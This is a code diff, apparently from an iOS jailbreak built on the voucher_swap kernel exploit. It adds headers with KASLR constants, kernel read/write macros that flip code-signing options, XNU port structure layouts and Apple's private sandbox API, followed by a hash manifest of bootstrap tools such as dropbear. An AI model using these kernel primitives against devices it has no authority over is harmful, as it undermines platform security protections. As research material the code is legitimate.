#define CFSafeRelease(x) do { if (x) CFRelease(x); } while(false)
|
||||
#define CFSafeReleaseNULL(x) do { CFSafeRelease(x); (x) = NULL; } while(false)
|
||||
#define SafeSFree(x) do { if (KERN_POINTER_VALID(x)) sfree(x); } while(false)
|
||||
#define SafeSFreeNULL(x) do { SafeSFree(x); (x) = KPTR_NULL; } while(false)
|
||||
#define SafeIOFree(x, size) do { if (KERN_POINTER_VALID(x)) IOFree(x, size); } while(false)
|
||||
#define SafeIOFreeNULL(x, size) do { SafeIOFree(x, size); (x) = KPTR_NULL; } while(false)
|
||||
|
||||
#define kCFCoreFoundationVersionNumber_iOS_12_0 1535.12
|
||||
#define kCFCoreFoundationVersionNumber_iOS_11_3 1452.23
|
||||
#define kCFCoreFoundationVersionNumber_iOS_11_0 1443.00
|
||||
|
||||
#define __FILENAME__ (__builtin_strrchr(__FILE__, '/') ? __builtin_strrchr(__FILE__, '/') + 1 : __FILE__)
|
||||
|
||||
#define ADDR "0x%016llx"
|
||||
#define MACH_HEADER_MAGIC MH_MAGIC_64
|
||||
#define MACH_LC_SEGMENT LC_SEGMENT_64
|
||||
typedef struct mach_header_64 mach_hdr_t;
|
||||
typedef struct segment_command_64 mach_seg_t;
|
||||
typedef uint64_t kptr_t;
|
||||
typedef struct load_command mach_lc_t;
|
||||
typedef uint64_t kptr_t;
|
||||
#define KPTR_NULL ((kptr_t) 0)
|
||||
#define KERN_POINTER_VALID(val) ((val) >= 0xffff000000000000 && (val) != 0xffffffffffffffff)
|
||||
#define MAX_KASLR_SLIDE 0x21000000
|
||||
#define STATIC_KERNEL_BASE_ADDRESS 0xfffffff007004000
|
||||
|
||||
extern kptr_t offset_options;
|
||||
#define OPT(x) (offset_options?((rk64(offset_options) & OPT_ ##x)?true:false):false)
|
||||
#define SETOPT(x) (offset_options?wk64(offset_options, rk64(offset_options) | OPT_ ##x):0)
|
||||
#define UNSETOPT(x) (offset_options?wk64(offset_options, rk64(offset_options) & ~OPT_ ##x):0)
|
||||
#define OPT_GET_TASK_ALLOW (1<<0)
|
||||
#define OPT_CS_DEBUGGED (1<<1)
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
@@ -15,8 +15,52 @@ typedef io_object_t io_connect_t;
|
||||
typedef io_object_t io_iterator_t;
|
||||
|
||||
#define IO_OBJECT_NULL (0)
|
||||
|
||||
#define kIONVRAMForceSyncNowPropertyKey "IONVRAM-FORCESYNCNOW-PROPERTY"
|
||||
|
||||
#define IO_BITS_PORT_INFO 0x0000f000
|
||||
#define IO_BITS_KOTYPE 0x00000fff
|
||||
#define IO_BITS_OTYPE 0x7fff0000
|
||||
#define IO_BITS_ACTIVE 0x80000000
|
||||
|
||||
#define IKOT_NONE 0
|
||||
#define IKOT_THREAD 1
|
||||
#define IKOT_TASK 2
|
||||
#define IKOT_HOST 3
|
||||
#define IKOT_HOST_PRIV 4
|
||||
#define IKOT_PROCESSOR 5
|
||||
#define IKOT_PSET 6
|
||||
#define IKOT_PSET_NAME 7
|
||||
#define IKOT_TIMER 8
|
||||
#define IKOT_PAGING_REQUEST 9
|
||||
#define IKOT_MIG 10
|
||||
#define IKOT_MEMORY_OBJECT 11
|
||||
#define IKOT_XMM_PAGER 12
|
||||
#define IKOT_XMM_KERNEL 13
|
||||
#define IKOT_XMM_REPLY 14
|
||||
#define IKOT_UND_REPLY 15
|
||||
#define IKOT_HOST_NOTIFY 16
|
||||
#define IKOT_HOST_SECURITY 17
|
||||
#define IKOT_LEDGER 18
|
||||
#define IKOT_MASTER_DEVICE 19
|
||||
#define IKOT_TASK_NAME 20
|
||||
#define IKOT_SUBSYSTEM 21
|
||||
#define IKOT_IO_DONE_QUEUE 22
|
||||
#define IKOT_SEMAPHORE 23
|
||||
#define IKOT_LOCK_SET 24
|
||||
#define IKOT_CLOCK 25
|
||||
#define IKOT_CLOCK_CTRL 26
|
||||
#define IKOT_IOKIT_SPARE 27
|
||||
#define IKOT_NAMED_ENTRY 28
|
||||
#define IKOT_IOKIT_CONNECT 29
|
||||
#define IKOT_IOKIT_OBJECT 30
|
||||
#define IKOT_UPL 31
|
||||
#define IKOT_MEM_OBJ_CONTROL 32
|
||||
#define IKOT_AU_SESSIONPORT 33
|
||||
#define IKOT_FILEPORT 34
|
||||
#define IKOT_LABELH 35
|
||||
#define IKOT_TASK_RESUME 36
|
||||
|
||||
enum
|
||||
{
|
||||
kIOCFSerializeToBinary = 0x00000001U,
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
/*
|
||||
* ipc_port.h
|
||||
* Brandon Azad
|
||||
*/
|
||||
#ifndef VOUCHER_SWAP__IPC_PORT_H_
|
||||
#define VOUCHER_SWAP__IPC_PORT_H_
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <stdint.h>
|
||||
|
||||
// ---- osfmk/kern/waitq.h ------------------------------------------------------------------------
|
||||
|
||||
#define _EVENT_MASK_BITS ((sizeof(uint32_t) * 8) - 7)
|
||||
|
||||
#define WQT_QUEUE 0x2
|
||||
|
||||
union waitq_flags {
|
||||
struct {
|
||||
uint32_t /* flags */
|
||||
waitq_type:2, /* only public field */
|
||||
waitq_fifo:1, /* fifo wakeup policy? */
|
||||
waitq_prepost:1, /* waitq supports prepost? */
|
||||
waitq_irq:1, /* waitq requires interrupts disabled */
|
||||
waitq_isvalid:1, /* waitq structure is valid */
|
||||
waitq_turnstile_or_port:1, /* waitq is embedded in a turnstile (if irq safe), or port (if not irq safe) */
|
||||
waitq_eventmask:_EVENT_MASK_BITS;
|
||||
};
|
||||
uint32_t flags;
|
||||
};
|
||||
|
||||
// ---- osfmk/kern/ipc_kobject.h ------------------------------------------------------------------
|
||||
|
||||
#define IKOT_NONE 0
|
||||
#define IKOT_TASK 2
|
||||
|
||||
// ---- osfmk/ipc/ipc_object.h --------------------------------------------------------------------
|
||||
|
||||
#define IO_BITS_KOTYPE 0x00000fff /* used by the object */
|
||||
#define IO_BITS_ACTIVE 0x80000000 /* is object alive? */
|
||||
|
||||
#define io_makebits(active, otype, kotype) \
|
||||
(((active) ? IO_BITS_ACTIVE : 0) | ((otype) << 16) | (kotype))
|
||||
|
||||
#define IOT_PORT 0
|
||||
|
||||
// ---- Custom definitions ------------------------------------------------------------------------
|
||||
|
||||
#define MACH_HEADER_SIZE_DELTA (2 * (sizeof(uint64_t) - sizeof(uint32_t)))
|
||||
|
||||
// ------------------------------------------------------------------------------------------------
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,46 @@
|
||||
/*
|
||||
* mach_vm.h
|
||||
* Brandon Azad
|
||||
*/
|
||||
#ifndef VOUCHER_SWAP__MACH_VM_H_
|
||||
#define VOUCHER_SWAP__MACH_VM_H_
|
||||
|
||||
#include <mach/mach.h>
|
||||
|
||||
extern
|
||||
kern_return_t mach_vm_allocate
|
||||
(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
int flags
|
||||
);
|
||||
|
||||
extern
|
||||
kern_return_t mach_vm_deallocate
|
||||
(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size
|
||||
);
|
||||
|
||||
extern
|
||||
kern_return_t mach_vm_write
|
||||
(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt
|
||||
);
|
||||
|
||||
extern
|
||||
kern_return_t mach_vm_read_overwrite
|
||||
(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
mach_vm_address_t data,
|
||||
mach_vm_size_t *outsize
|
||||
);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,181 @@
|
||||
/*
|
||||
* Copyright (c) 2006-2010 Apple Inc. All rights reserved.
|
||||
*
|
||||
* @APPLE_LICENSE_HEADER_START@
|
||||
*
|
||||
* This file contains Original Code and/or Modifications of Original Code
|
||||
* as defined in and that are subject to the Apple Public Source License
|
||||
* Version 2.0 (the 'License'). You may not use this file except in
|
||||
* compliance with the License. Please obtain a copy of the License at
|
||||
* http://www.opensource.apple.com/apsl/ and read it before using this
|
||||
* file.
|
||||
*
|
||||
* The Original Code and all software distributed under the License are
|
||||
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
|
||||
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
|
||||
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
|
||||
* Please see the License for the specific language governing rights and
|
||||
* limitations under the License.
|
||||
*
|
||||
* @APPLE_LICENSE_HEADER_END@
|
||||
*/
|
||||
#ifndef _SANDBOX_H_
|
||||
#define _SANDBOX_H_
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
#include <stdint.h>
|
||||
#include <unistd.h>
|
||||
|
||||
__BEGIN_DECLS
|
||||
/*
|
||||
* @function sandbox_init
|
||||
* Places the current process in a sandbox with a profile as
|
||||
* specified. If the process is already in a sandbox, the new profile
|
||||
* is ignored and sandbox_init() returns an error.
|
||||
*
|
||||
* @param profile (input) The Sandbox profile to be used. The format
|
||||
* and meaning of this parameter is modified by the `flags' parameter.
|
||||
*
|
||||
* @param flags (input) Must be SANDBOX_NAMED. All other
|
||||
* values are reserved.
|
||||
*
|
||||
* @param errorbuf (output) In the event of an error, sandbox_init
|
||||
* will set `*errorbuf' to a pointer to a NUL-terminated string
|
||||
* describing the error. This string may contain embedded newlines.
|
||||
* This error information is suitable for developers and is not
|
||||
* intended for end users.
|
||||
*
|
||||
* If there are no errors, `*errorbuf' will be set to NULL. The
|
||||
* buffer `*errorbuf' should be deallocated with `sandbox_free_error'.
|
||||
*
|
||||
* @result 0 on success, -1 otherwise.
|
||||
*/
|
||||
int sandbox_init(const char *profile, uint64_t flags, char **errorbuf);
|
||||
|
||||
/*
|
||||
* @define SANDBOX_NAMED The `profile' argument specifies a Sandbox
|
||||
* profile named by one of the kSBXProfile* string constants.
|
||||
*/
|
||||
#define SANDBOX_NAMED 0x0001
|
||||
|
||||
#ifdef __APPLE_API_PRIVATE
|
||||
|
||||
/* The following flags are reserved for Mac OS X. Developers should not
|
||||
* depend on their availability.
|
||||
*/
|
||||
|
||||
/*
|
||||
* @define SANDBOX_NAMED_BUILTIN The `profile' argument specifies the
|
||||
* name of a builtin profile that is statically compiled into the
|
||||
* system.
|
||||
*/
|
||||
#define SANDBOX_NAMED_BUILTIN 0x0002
|
||||
|
||||
/*
|
||||
* @define SANDBOX_NAMED_EXTERNAL The `profile' argument specifies the
|
||||
* pathname of a Sandbox profile. The pathname may be abbreviated: If
|
||||
* the name does not start with a `/' it is treated as relative to
|
||||
* /usr/share/sandbox and a `.sb' suffix is appended.
|
||||
*/
|
||||
#define SANDBOX_NAMED_EXTERNAL 0x0003
|
||||
|
||||
/*
|
||||
* @define SANDBOX_NAMED_MASK Mask for name types: 4 bits, 15 possible
|
||||
* name types, 3 currently defined.
|
||||
*/
|
||||
#define SANDBOX_NAMED_MASK 0x000f
|
||||
|
||||
#endif /* __APPLE_API_PRIVATE */
|
||||
|
||||
/*
|
||||
* Available Sandbox profiles.
|
||||
*/
|
||||
|
||||
/* TCP/IP networking is prohibited. */
|
||||
extern const char kSBXProfileNoInternet[];
|
||||
|
||||
/* All sockets-based networking is prohibited. */
|
||||
extern const char kSBXProfileNoNetwork[];
|
||||
|
||||
/* File system writes are prohibited. */
|
||||
extern const char kSBXProfileNoWrite[];
|
||||
|
||||
/* File system writes are restricted to temporary folders /var/tmp and
|
||||
* confstr(_CS_DARWIN_USER_DIR, ...).
|
||||
*/
|
||||
extern const char kSBXProfileNoWriteExceptTemporary[];
|
||||
|
||||
/* All operating system services are prohibited. */
|
||||
extern const char kSBXProfilePureComputation[];
|
||||
|
||||
/*
|
||||
* @function sandbox_free_error
|
||||
* Deallocates an error string previously allocated by sandbox_init.
|
||||
*
|
||||
* @param errorbuf (input) The buffer to be freed. Must be a pointer
|
||||
* previously returned by sandbox_init in the `errorbuf' argument, or NULL.
|
||||
*
|
||||
* @result void
|
||||
*/
|
||||
void sandbox_free_error(char *errorbuf);
|
||||
|
||||
|
||||
#ifdef __APPLE_API_PRIVATE
|
||||
|
||||
/* The following definitions are reserved for Mac OS X. Developers should not
|
||||
* depend on their availability.
|
||||
*/
|
||||
|
||||
int sandbox_init_with_parameters(const char *profile, uint64_t flags, const char *const parameters[], char **errorbuf);
|
||||
|
||||
int sandbox_init_with_extensions(const char *profile, uint64_t flags, const char *const extensions[], char **errorbuf);
|
||||
|
||||
enum sandbox_filter_type {
|
||||
SANDBOX_FILTER_NONE,
|
||||
SANDBOX_FILTER_PATH,
|
||||
SANDBOX_FILTER_GLOBAL_NAME,
|
||||
SANDBOX_FILTER_LOCAL_NAME,
|
||||
SANDBOX_FILTER_APPLEEVENT_DESTINATION,
|
||||
SANDBOX_FILTER_RIGHT_NAME,
|
||||
};
|
||||
|
||||
extern const enum sandbox_filter_type SANDBOX_CHECK_NO_REPORT __attribute__((weak_import));
|
||||
|
||||
enum sandbox_extension_flags {
|
||||
FS_EXT_DEFAULTS = 0,
|
||||
FS_EXT_FOR_PATH = (1 << 0),
|
||||
FS_EXT_FOR_FILE = (1 << 1),
|
||||
FS_EXT_READ = (1 << 2),
|
||||
FS_EXT_WRITE = (1 << 3),
|
||||
FS_EXT_PREFER_FILEID = (1 << 4),
|
||||
};
|
||||
|
||||
int sandbox_check(pid_t pid, const char *operation, enum sandbox_filter_type type, ...);
|
||||
|
||||
int sandbox_note(const char *note);
|
||||
|
||||
int sandbox_suspend(pid_t pid);
|
||||
int sandbox_unsuspend(void);
|
||||
|
||||
int sandbox_issue_extension(const char *path, char **ext_token);
|
||||
int sandbox_issue_fs_extension(const char *path, uint64_t flags, char **ext_token);
|
||||
int sandbox_issue_fs_rw_extension(const char *path, char **ext_token);
|
||||
int sandbox_issue_mach_extension(const char *name, char **ext_token);
|
||||
|
||||
int sandbox_consume_extension(const char *path, const char *ext_token);
|
||||
int sandbox_consume_fs_extension(const char *ext_token, char **path);
|
||||
int sandbox_consume_mach_extension(const char *ext_token, char **name);
|
||||
|
||||
int sandbox_release_fs_extension(const char *ext_token);
|
||||
|
||||
int sandbox_container_path_for_pid(pid_t pid, char *buffer, size_t bufsize);
|
||||
|
||||
int sandbox_wakeup_daemon(char **errorbuf);
|
||||
|
||||
const char *_amkrtemp(const char *);
|
||||
|
||||
#endif /* __APPLE_API_PRIVATE */
|
||||
|
||||
__END_DECLS
|
||||
#endif /* _SANDBOX_H_ */
|
||||
|
After Width: | Height: | Size: 35 KiB |
|
After Width: | Height: | Size: 33 KiB |
|
After Width: | Height: | Size: 50 KiB |
|
After Width: | Height: | Size: 55 KiB |
@@ -0,0 +1,262 @@
|
||||
b898b8bcd8656374448051a69057521d ./usr/bin/tee
|
||||
2703abe4fb5a83025c1b9476ff76bd33 ./usr/bin/split
|
||||
b710863f5f7acf5212de2ae187a88036 ./usr/bin/vim
|
||||
924eba52787a353e3fc6238528bc8b57 ./usr/bin/hexdump
|
||||
50ba68b0d76faecb0ea94b70a59f299a ./usr/bin/nonceutil
|
||||
f03b02a469fe0f346e44db75a1fc47ef ./usr/bin/lsmp
|
||||
a0b9f9016ccade288455b7141e1a693a ./usr/bin/vm_stat
|
||||
7a503e87e55cee7427f94c5046f602d8 ./usr/bin/syslog
|
||||
dd692a7b33f7478497f8c1b68755c477 ./usr/bin/du
|
||||
636437c879c120f204305669342a8294 ./usr/bin/fs_usage
|
||||
5eab0aa90c966a26d7f2d912bcd19e74 ./usr/bin/renice
|
||||
7a747035cf06761640e2bd1121a9fed7 ./usr/bin/xxd
|
||||
33785345f40bdad328c2a79f013e91e8 ./usr/bin/sc_usage
|
||||
58041d4cc703a25dc41d5b5e49994da3 ./usr/bin/less
|
||||
9c3b5ece12be439690b6f0a021dde9e3 ./usr/bin/inject
|
||||
65cf7456fbf76bdb3fffadf765c3e54a ./usr/bin/sed
|
||||
8f4cfcd2a709e88b88504b82ff358d65 ./usr/bin/nano
|
||||
07d32b3046248014cfaa0e1f3a489bdb ./usr/bin/tset
|
||||
63e15286116be714262cb697a7517128 ./usr/bin/seq
|
||||
e65a3eeaeea8336154f8c7f9c5bf0018 ./usr/bin/uname
|
||||
e4e05c7bf0831c52dd409dbe0d2f660e ./usr/bin/uicache
|
||||
b902b099b0b3f067165fe0baef133a69 ./usr/bin/reset
|
||||
4f01671c0ae2083b07d1ecdea264964b ./usr/bin/wc
|
||||
fd17aa563a90ced7ef7d2342aec7e280 ./usr/bin/gzip
|
||||
f89a4d1a23bc10e6e10c8f1b1bcaa652 ./usr/bin/ldid3
|
||||
2629d71e6c09495a482270544c60b5a5 ./usr/bin/printf
|
||||
c653ea9550bad9b55c97d3b1e90b8f69 ./usr/bin/ldid2
|
||||
42c0b3b435c28cec0a707dc9802cfed7 ./usr/bin/tail
|
||||
b86021f1c7316b66acd50abfedd594c2 ./usr/bin/grep
|
||||
e92491131960f0005f3f7ca416ee9236 ./usr/bin/script
|
||||
9efbb27fe365cddcb005578bd7ef7a65 ./usr/bin/more
|
||||
2fee7eacb33519aa2996cc2b83a6d357 ./usr/bin/time
|
||||
39c15e53f0dd82a58012d1d0181905e1 ./usr/bin/plconvert
|
||||
8eb822233be91c75570479c3073a5b3d ./usr/bin/head
|
||||
3bf9386f7d05055686a188718b6c12c2 ./usr/bin/clear
|
||||
f8778ec9c9faa44538b0c318624035c3 ./usr/bin/killall
|
||||
6610423671919d8e6f8588146711bd13 ./usr/bin/stat
|
||||
9f6d23b3158fd3f8a0fb900beabaa5f1 ./usr/bin/snappy
|
||||
a806f7b0dc5c4fd3d8e002afa16fadc3 ./usr/bin/sqlite3
|
||||
cdb0f23de81daad4e560ebd59c8de355 ./usr/bin/screen
|
||||
07a9b81c90872a25766127a840a14da6 ./usr/bin/arch
|
||||
50b64b8b88be46ef32d56f081542aa8c ./usr/bin/cut
|
||||
0a740c42b89808c236a07a51fe5a814d ./usr/bin/xargs
|
||||
4433ef936563f2838b09305737851015 ./usr/bin/what
|
||||
7786eabe3fe5b6b4180ced0cf4602502 ./usr/bin/ldid
|
||||
c41791441994916f3346f2f669f7bca2 ./usr/bin/chflags
|
||||
a97084e55faa35ff653099171312bb9b ./usr/bin/id
|
||||
80b33297033bd59ae090ebba1ec9b67a ./usr/bin/find
|
||||
5e84a2de4d32118d6c4adcb2e897f801 ./usr/bin/scp
|
||||
65fa4d06e93e3f9239ec284a8cafc279 ./usr/bin/true
|
||||
c32656a75f5e24d003683d8af58ca6d1 ./usr/bin/hostinfo
|
||||
b0bc120ffd09ddc8bc288556e4e238f4 ./usr/bin/tar
|
||||
d272b6b9ee40350bc868786ab6863024 ./usr/bin/false
|
||||
202fe8e6692a3a180cf0d92a16275dfc ./usr/bin/login
|
||||
d2d12e8f4cfae79936803eaa78a6c2e9 ./usr/bin/which
|
||||
a098a6ea3245b6e32b2d6085bf88f46a ./usr/bin/passwd
|
||||
23390a4a27a63ae1026e0d4640e74e97 ./usr/bin/nohup
|
||||
c9655b6dd73a182160636015270fb315 ./usr/bin/w
|
||||
110eecf0ee42142c045065003de6da8d ./usr/bin/gunzip
|
||||
3444747dd9c4f6a5207af74622318d1f ./usr/sbin/joreg
|
||||
9277c487d0a37255dba1dc8edbb14646 ./usr/sbin/ioreg
|
||||
5e0ea2ba00edd93b93c489fff5cf673e ./usr/sbin/sysctl
|
||||
a946312719036084be1584f559b2ad93 ./usr/sbin/taskpolicy
|
||||
d96c5cae510321ceb1de66a8e8a2bc47 ./usr/sbin/netstat
|
||||
ade27f5ac9bd41b1f6966829a8ae320f ./usr/sbin/ltop
|
||||
5786e43b57cc62e23931b319b91a8085 ./usr/sbin/chown
|
||||
bfe6c05f61efb46bcd4af932a504e6e6 ./usr/sbin/kextstat
|
||||
2d407928f102245200b62813aa33be3a ./usr/local/bin/wget
|
||||
70daec5f62c7801f4494df325a53c441 ./usr/local/bin/jtool2
|
||||
b95d60ad4d5812bae3eddd7c28647063 ./usr/local/bin/dbclient
|
||||
ded12835bcef335967e2165d6b0e744a ./usr/local/bin/filemon
|
||||
82b62dd019b9f24c9e7cd6a6c2140084 ./usr/local/bin/dropbear
|
||||
9886346e798d3fd0ca2535f599bffa0e ./usr/local/bin/procexp
|
||||
70da97361f47e94787937494e8653e77 ./usr/local/bin/jtool
|
||||
1eb37e4f8d302d259fb8d7b16985acfb ./usr/local/bin/dropbearkey
|
||||
4f3fb0098020807cdd741f51dd1663b3 ./usr/local/bin/jlutil
|
||||
94143bce6a7b0279a2db88ce2c3e3fdb ./usr/local/bin/joker
|
||||
bfa7e6f6b1c4f2044457101a6bc319c8 ./usr/local/bin/dropbearconvert
|
||||
a115f8ee5627857f5da055a1a8e9056c ./usr/local/bin/dropbear.orig
|
||||
d09a8eba7adbcf9417c48ed83928753b ./usr/local/bin/procexp.ent
|
||||
44298a30dfedbb312ba3923716aa61a0 ./usr/local/lib/zsh/5.0.8/zsh/termcap.so
|
||||
d0b05ff80a5f5470a77740714735c573 ./usr/local/lib/zsh/5.0.8/zsh/zleparameter.so
|
||||
d8c7842dca4e2b405ce8ab605aa78594 ./usr/local/lib/zsh/5.0.8/zsh/example.so
|
||||
73ae237bf2dafc21cef52e3b04bcd90d ./usr/local/lib/zsh/5.0.8/zsh/tcp.so
|
||||
23586b85e7444fe401672bdca5585e64 ./usr/local/lib/zsh/5.0.8/zsh/newuser.so
|
||||
705963ad326169b2b1a3a517b05765d7 ./usr/local/lib/zsh/5.0.8/zsh/deltochar.so
|
||||
714cfac68394abc786f32e96056a98a6 ./usr/local/lib/zsh/5.0.8/zsh/complete.so
|
||||
f25da108adc8701d153c9da648735307 ./usr/local/lib/zsh/5.0.8/zsh/mapfile.so
|
||||
65c97546fd24f08f90f4b49ce8632c64 ./usr/local/lib/zsh/5.0.8/zsh/stat.so
|
||||
b66cfb813e273d2ea24f585a9d07e2e0 ./usr/local/lib/zsh/5.0.8/zsh/compctl.so
|
||||
da02e032689685300c6c8a760d119066 ./usr/local/lib/zsh/5.0.8/zsh/zselect.so
|
||||
fc34fea197cfac379678b83ccaff6a1b ./usr/local/lib/zsh/5.0.8/zsh/parameter.so
|
||||
63231fa531348d09c55eff734e306e18 ./usr/local/lib/zsh/5.0.8/zsh/datetime.so
|
||||
f91108fc9fb83cc2138f9d1da7487b29 ./usr/local/lib/zsh/5.0.8/zsh/socket.so
|
||||
91f38fd37f10e3f35dbcbb49b8adfb0a ./usr/local/lib/zsh/5.0.8/zsh/terminfo.so
|
||||
deb70a41a405bb0824436ad028c556b6 ./usr/local/lib/zsh/5.0.8/zsh/clone.so
|
||||
9d3559e577bfca109520e4f0bad491ba ./usr/local/lib/zsh/5.0.8/zsh/regex.so
|
||||
f12d65d38fbe3c1db7b7d65d13a25e0c ./usr/local/lib/zsh/5.0.8/zsh/attr.so
|
||||
d16c5f028e26d507cdb8af9f165f14f8 ./usr/local/lib/zsh/5.0.8/zsh/curses.so
|
||||
91f32f5cb48390222c22ed8028e55d90 ./usr/local/lib/zsh/5.0.8/zsh/files.so
|
||||
eaf924f4282275441520d82567069883 ./usr/local/lib/zsh/5.0.8/zsh/system.so
|
||||
24a2ba2b1826a6e8990b04d9bc43e316 ./usr/local/lib/zsh/5.0.8/zsh/zpty.so
|
||||
23cc2ecf2e19f32f8eb6f9d7a37e1706 ./usr/local/lib/zsh/5.0.8/zsh/zle.so
|
||||
4d094b2b38db4fd73ae574befb25204e ./usr/local/lib/zsh/5.0.8/zsh/mathfunc.so
|
||||
bec6c7e86f26a77b9524ed128da4b4d9 ./usr/local/lib/zsh/5.0.8/zsh/zutil.so
|
||||
2ae606823ae7e68d3af3bb351a19b437 ./usr/local/lib/zsh/5.0.8/zsh/complist.so
|
||||
c6a1d10d2211feb80284e81186caa6be ./usr/local/lib/zsh/5.0.8/zsh/zftp.so
|
||||
7f3430e22eb6b38aa117ee4ed9352cee ./usr/local/lib/zsh/5.0.8/zsh/cap.so
|
||||
b513edef71f83a0254ee3f78539a1240 ./usr/local/lib/zsh/5.0.8/zsh/computil.so
|
||||
fdba1d6dda089229cdaa4a10f621b703 ./usr/local/lib/zsh/5.0.8/zsh/zprof.so
|
||||
68fc31400366cc71bf7f7e2177ea6368 ./usr/local/lib/zsh/5.0.8/zsh/langinfo.so
|
||||
fa2279010eb25eb9658280d4e8741a4c ./usr/share/terminfo/61/ansi80x50-mono
|
||||
c835906031322f6793d0bba8a4024cf4 ./usr/share/terminfo/61/ansi+idl1
|
||||
3b55b40fd24d7095314b9c3571aac6fb ./usr/share/terminfo/61/ansil
|
||||
68354f5acab5acd36a028df8ef111944 ./usr/share/terminfo/61/ansi+idc
|
||||
3ae2c75389debb39daa93a37d0a05592 ./usr/share/terminfo/61/ansiw
|
||||
4ef30ab8d7c15a62823e5f4264f6d62d ./usr/share/terminfo/61/ansi80x30
|
||||
0929a9ac82bd6cb0238dfb7577b8240f ./usr/share/terminfo/61/ansi-mono
|
||||
12c43baa349979c093c1743a7489d8ee ./usr/share/terminfo/61/ansi+pp
|
||||
41573351ca6e86546bd1a58cdbf5cd62 ./usr/share/terminfo/61/ansi+idl
|
||||
fa2279010eb25eb9658280d4e8741a4c ./usr/share/terminfo/61/ansil-mono
|
||||
586b7d053f8a935202bc95bd769ee4f3 ./usr/share/terminfo/61/ansi80x30-mono
|
||||
3ae2c75389debb39daa93a37d0a05592 ./usr/share/terminfo/61/ansi80x25-raw
|
||||
71a5dd341d754460eb189f73779feb41 ./usr/share/terminfo/61/ansi+csr
|
||||
30ef341210e5227e41eaff5b83fac717 ./usr/share/terminfo/61/ansi-generic
|
||||
cf35f34c8755efb774005f800afab654 ./usr/share/terminfo/61/ansi+sgr
|
||||
6e327b6172dd4886024fd780797da60a ./usr/share/terminfo/61/ansi+cup
|
||||
a811d944eb78b2a1f97aa6578dca08fa ./usr/share/terminfo/61/ansi-emx
|
||||
017e3893644413c3d4446ac47c93951f ./usr/share/terminfo/61/ansi+sgrbold
|
||||
0afdcc1032306d8d3ea05def04340d21 ./usr/share/terminfo/61/ansi+sgrul
|
||||
418c636af2942a1462885a6b667825a7 ./usr/share/terminfo/61/ansi80x60-mono
|
||||
5ab0fa91be25a2e1005fcd94dc9dd469 ./usr/share/terminfo/61/ansi+sgrso
|
||||
6b3a86ff2f1b95acfdd820fbf8750b01 ./usr/share/terminfo/61/ansi
|
||||
f18d72643477964bafbb499a518afab3 ./usr/share/terminfo/61/ansi-color-2-emx
|
||||
5cc9c4e94f47197a1171e8841c0909a6 ./usr/share/terminfo/61/ansis-mono
|
||||
bd5a24c27f2aae15e7c8616478b35177 ./usr/share/terminfo/61/ansi-color-3-emx
|
||||
47a77469940121acd86a1b82db198f3b ./usr/share/terminfo/61/ansisysk
|
||||
6871af613871edf164a0656f20dc2c8c ./usr/share/terminfo/61/ansi43m
|
||||
042f8da76683abcdace3439800571223 ./usr/share/terminfo/61/ansi-mtabs
|
||||
33b216e8fec086dbe4c884aa7b566d5b ./usr/share/terminfo/61/ansi+sgrdim
|
||||
5eb691998583e67c1d1d66f6d1b065ba ./usr/share/terminfo/61/ansi80x25
|
||||
38ad8b0dad6aab8bd2016f70a99cd5b0 ./usr/share/terminfo/61/ansi+erase
|
||||
aa05b8d0aa5e705fa2ad93378fd63f6e ./usr/share/terminfo/61/ansi+rep
|
||||
5eb691998583e67c1d1d66f6d1b065ba ./usr/share/terminfo/61/ansis
|
||||
3b55b40fd24d7095314b9c3571aac6fb ./usr/share/terminfo/61/ansi80x50
|
||||
7183c55fa5ac8798a7dc32930ac058f5 ./usr/share/terminfo/61/ansi+tabs
|
||||
943d1287db33a09d31ba2ec571047807 ./usr/share/terminfo/61/ansi+local1
|
||||
c54fc1fd467518dae352dd8de6fade98 ./usr/share/terminfo/61/ansi80x60
|
||||
54f926c6f19b6d1f02ced3ec7dcc7d2d ./usr/share/terminfo/61/ansi+rca
|
||||
c12e955efc5c4f813357a89fd90a84b3 ./usr/share/terminfo/61/ansi-mini
|
||||
908b80b219e9ae677f65aac5814a8aba ./usr/share/terminfo/61/ansi+enq
|
||||
5b2a31e020e45acef8b3154423e36061 ./usr/share/terminfo/61/ansi-nt
|
||||
7a494b98caadb3132504382fe6ccd1e3 ./usr/share/terminfo/61/ansi77
|
||||
d59ad3dfe0d905f83febae83bbb6490d ./usr/share/terminfo/61/ansi-mr
|
||||
c5195124980c2d8c2be86cbfa4c29390 ./usr/share/terminfo/61/ansi80x43-mono
|
||||
fccc68bc07c0961e088e0b327d585008 ./usr/share/terminfo/61/ansi.sys
|
||||
3f95bb59083f6458ee20714be2455c24 ./usr/share/terminfo/61/ansi.sys-old
|
||||
47a77469940121acd86a1b82db198f3b ./usr/share/terminfo/61/ansi.sysk
|
||||
5cc9c4e94f47197a1171e8841c0909a6 ./usr/share/terminfo/61/ansi80x25-mono
|
||||
34b77e5af5db12946a3720cb7c72fbbc ./usr/share/terminfo/61/ansi+inittabs
|
||||
fe8ccd619fa36730e1989be8bf64a880 ./usr/share/terminfo/61/ansi+local
|
||||
0929a9ac82bd6cb0238dfb7577b8240f ./usr/share/terminfo/61/ansi-m
|
||||
e0a527902af2067e4b2d7233098a9544 ./usr/share/terminfo/61/ansi80x43
|
||||
acc9f736d0109a103776546ff99d4448 ./usr/share/terminfo/61/ansi+arrows
|
||||
758da19fa1ad8fa0aa8872d2fa4fabc2 ./usr/share/terminfo/73/screen-16color
|
||||
71191244af59a0bc0eff3cb7e5c6761a ./usr/share/terminfo/73/screen2
|
||||
